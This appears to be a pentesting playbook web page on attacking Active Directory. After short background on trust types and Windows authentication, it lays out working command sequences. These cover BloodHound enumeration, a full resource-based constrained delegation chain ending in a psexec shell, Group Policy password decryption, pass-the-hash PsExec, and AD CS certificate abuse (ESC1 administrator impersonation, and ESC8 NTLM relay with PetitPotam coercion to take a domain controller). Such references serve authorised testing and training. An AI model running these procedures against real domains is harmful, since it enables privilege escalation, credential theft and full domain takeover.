notmalicio.us
04 · active directory

Active Directory Reference

Notes on active directory exploitation.

7 sections · 4 min read · ~/playbook/active-directory

Types of Domain Trust

TrustTransitiveDirectionProtocolAutoNotes
Parent-ChildTransitiveTwo-wayKerberos / NTLMAutomaticCreated when a child domain is added to a tree
Tree-RootTransitiveTwo-WayKerberos / NTLMAutomaticCreated when a tree is added to a forest
ShortcutTransitiveOne-Way / Two-WayKerberos / NTLMManualCreated between domains in the same forest for efficiency
ForestTransitiveOne-Way / Two-WayKerberos / NTLMManualCreated between two forest roots
ExternalNon-TransitiveOne-WayNTLM OnlyManualCreated between two domains in different forests without a forest trust
RealmNon-TransitiveOne-Way / Two-WayKerberos OnlyManualCreated between AD domain and Linux Kerberos realm

Authentication Flow in Windows

Logins flow through LSASS, which determines if it's a local or domain authentication.

Hand-drawn diagram: user authentication flows to Winlogon.exe, then the Local Security Authority (LSASS decides), which routes local logins to the Security Accounts Manager and domain logins to the Key Distribution Center
  • Local authentications via SAM are only LM/NTLM and only works for local resources
  • Domain authentication via KDC include both LM/NTLM and Kerberos and it allows access to both local and domain resources

Enumerating Users in a Domain

Run: net user /domain

Enumerating Active Directory with Bloodhound

Bloodhound is an active directory enumeration tool. These steps use BloodHound Community Edition (CE); the original BloodHound is now archived as BloodHound-Legacy.

  • Collect data with a CE-compatible collector
    • On the target host: SharpHound, e.g. SharpHound.exe -c All
    • Remotely with creds: bloodhound-ce-python, e.g. bloodhound-ce-python -u USERNAME -p PASSWORD -d DOMAIN -ns DCIPADDR -c All --zip
  • Start BloodHound CE with bloodhound-cli: ./bloodhound-cli install
    • Login at http://localhost:8080 with the admin password it prints (see the CE quickstart)
  • Ingest the data from the collector by uploading the zip file in the Bloodhound UI
  • Search for and mark owned users
  • Useful built-in queries
    • Shortest paths from Kerberoastable users
    • Shortest paths from Owned Principals
    • Shortest paths to High Value Targets
    • Use the search above the pre-built queries to locate specific hosts and users

Resource Based Constrained Delegation

If WRITE privilege is obtained over a remote host's AD object, it is possible to leverage this access to escalate privileges.

Requirements: Code execution over a host (HOST for example) with a standard privileged account (user for example) which has WRITE privilege (such as GenericAll or WriteDACL) over a target host (TARGET for example) in a domain in which the ms-DS-MachineAccountQuota is more than 0. Additionally, the target host TARGET cannot have the msds-allowedtoactonbehalfofotheridentity attribute set.

  • To identify the ms-DS-MachineAccountQuota to ensure it is more than 0, run the following:
Get-DomainObject -Identity (Get-ADDomain).distinguishedname -Properties ms-DS-MachineAccountQuota
  • To identify the msds-allowedtoactonbehalfofotheridentity to ensure it is empty, run the following:
Get-NetComputer TARGET | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

Steps:

  1. Import Powermad and upload Rubeus
  2. Create a new host, in which FAUX can be any fake hostname and P&ssw0rd can be any password:
New-MachineAccount -MachineAccount FAUX -Password $(ConvertTo-SecureString 'P&ssw0rd' -AsPlainText -Force) 
  1. Confirm it exists & check its assigned SID:
Get-DomainComputer FAUX
  1. Set up service principal and confirm it worked:
Set-ADComputer -Identity TARGET -PrincipalsAllowedToDelegateToAccount FAUX$
Get-ADComputer -Identity TARGET -Properties PrincipalsAllowedToDelegateToAccount
  1. Pull the Raw Security Descriptor Bytes and create a raw security descriptor:
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList (Get-DomainComputer TARGET -Properties 'msds-allowedtoactonbehalfofotheridentity' | Select-Object -expand msds-allowedtoactonbehalfofotheridentity), 0
  1. Check it completed correctly and ensure the SID matches up with the FAUX SID:
$Descriptor
  1. Generate a hash of the password that was set for the FAUX$ account with Rubeus:
Rubeus.exe hash /password:"P&ssw0rd" /user:FAUX$ /domain:DOMAIN
  • Note: In only this case, the & needs to be encased in quotes because it is a special character in Rubeus.
  1. Generate Kerberos ticket for the TARGETUSER and Pass the Ticket:
Rubeus.exe s4u /user:FAUX$ /rc4:RC4HASH /impersonateuser:TARGETUSER /msdsspn:cifs/TARGETFQDN /domain:DOMAIN /ptt
  1. Copy the Base64 encoded ticket back to Kali host, strip out all whitespace, and decode from Base64:
base64 -d b64ticket.kirbi > ticket.kirbi
  1. Convert ticket to ccache with TicketConverter from Impacket:
ticketConverter.py ticket.kirbi ticket.ccache
  1. Psexec in & shell:
KRB5CCNAME=ticket.ccache impacket-psexec DOMAIN/TARGETUSER@TARGETFQDN -k -no-pass

Groups.XML

In older (pre-2012-ish) Windows boxes, Groups.xml stores group policy information & creds.

Within Groups.xml, note the userName and cpassword

The cpassword can be decrypted with gpp-decrypt:

gpp-decrypt CPASSWORD

PsExec

PsExec is a version of a SysInternals tool that essentially allows a user to remotely execute commands

Requires admin credentials or admin hash

impacket-psexec DOMAIN/USERNAME@TARGET

Active Directory Certificate Services (AD CS)

Misconfigured certificate templates and enrollment endpoints can let a low-privileged user obtain a certificate that authenticates as someone else, including a Domain Admin or a Domain Controller. Certipy covers enumeration and exploitation.

Finding Vulnerable Templates

certipy find -u USERNAME@DOMAIN -p PASSWORD -dc-ip DCIPADDR -vulnerable -stdout
  • Note the CA name (CANAME) and any templates flagged with an ESC number

ESC1

The template lets the enrollee supply the subject (ENROLLEE_SUPPLIES_SUBJECT), allows client authentication, and low-privileged users can enroll.

Request a certificate as another user:

certipy req -u USERNAME@DOMAIN -p PASSWORD -dc-ip DCIPADDR -ca CANAME -template TEMPLATENAME -upn administrator@DOMAIN
  • On DCs that enforce strong certificate mapping, also pass the target user's SID with -sid TARGETSID

Authenticate with the certificate to get the user's NT hash and a TGT:

certipy auth -pfx administrator.pfx -dc-ip DCIPADDR

ESC8

The CA's web enrollment endpoint (/certsrv) accepts NTLM over HTTP, so coerced authentication can be relayed to it.

  1. Start the relay against the CA, requesting a Domain Controller certificate:
impacket-ntlmrelayx -t http://CAHOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
  1. Coerce the DC to authenticate to you, e.g. with PetitPotam:
python3 PetitPotam.py -u USERNAME -p PASSWORD -d DOMAIN LHOST DCIPADDR
  1. Authenticate as the DC with the relayed certificate (older Impacket prints it as base64; decode it to a .pfx first), then DCSync (see Kerberos):
certipy auth -pfx DC.pfx -dc-ip DCIPADDR
esc
↑↓ navigate↵ openesc close